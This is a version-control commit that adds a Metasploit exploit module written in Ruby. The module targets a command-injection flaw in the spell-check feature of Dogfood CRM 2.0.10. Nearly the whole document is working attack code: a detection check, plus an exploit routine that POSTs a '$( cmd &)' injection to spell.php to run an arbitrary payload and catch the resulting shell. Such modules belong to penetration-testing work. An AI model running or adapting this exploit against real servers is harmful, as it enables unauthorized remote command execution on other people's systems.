Added dogfood_spell_exec exploit module from LSO.

git-svn-id: file:///home/svn/framework3/trunk@6282 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/unix/webapp/dogfood_spell_exec.rb

@@ -0,0 +1,91 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Dogfood CRM spell.php Remote Command Execution',
+			'Description'    => %q{
+				This module exploits a previously unpublished vulnerability in the
+				Dogfood CRM mail fuction which is vulnerable to command injection
+				in the spell check feature.  Because of character restrictions, this
+				exploit works best with the double-reverse telnet payload. This
+				vulnerability was discovered by LSO and affects v2.0.10.
+			},
+			'Author'         => 	[
+							'LSO <lso@hushmail.com>', # Exploit module
+							'patrick', # Added check code, QA tested ok 20090303, there are no references (yet).
+						],
+			'License'        => BSD_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     => 
+				[
+					[ "URL", "http://downloads.sourceforge.net/dogfood/" ],
+				],
+			'Privileged'     => false,
+			'Platform'       => ['unix'], # patrickw - removed win, linux -> untested
+			'Arch'           => ARCH_CMD,
+			'Payload'        => 
+				{
+					'Space'       => 1024,
+					'DisableNops' => true,
+					'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
+					'Keys'        => ['cmd'],
+				},
+			'Targets'        => [ ['Automatic', { }], ],
+			'DefaultTarget' => 0
+			))
+
+		register_options(
+			[
+				OptString.new('URIPATH',   [ true,  "The URI of the spell checker", '/dogfood/mail/spell.php']),
+			], self.class)
+
+	end
+
+	def check
+		res = send_request_raw(
+			{
+				'uri' => datastore['URIPATH'],
+			}, 1)
+			
+		if (res.body =~ /Spell Check complete/)
+			return Exploit::CheckCode::Detected
+		end
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		timeout = 1
+
+		cmd = payload.encoded
+		data = "data=#{Rex::Text.uri_encode('$( '+ cmd + ' &)x')}"
+		uri = datastore['URIPATH'] 
+
+		response = send_request_cgi(
+			{ 
+			'uri' => uri, 
+			'method' => "POST",
+			'data' => data 
+			},
+		timeout)
+
+		handler
+	end
+end
+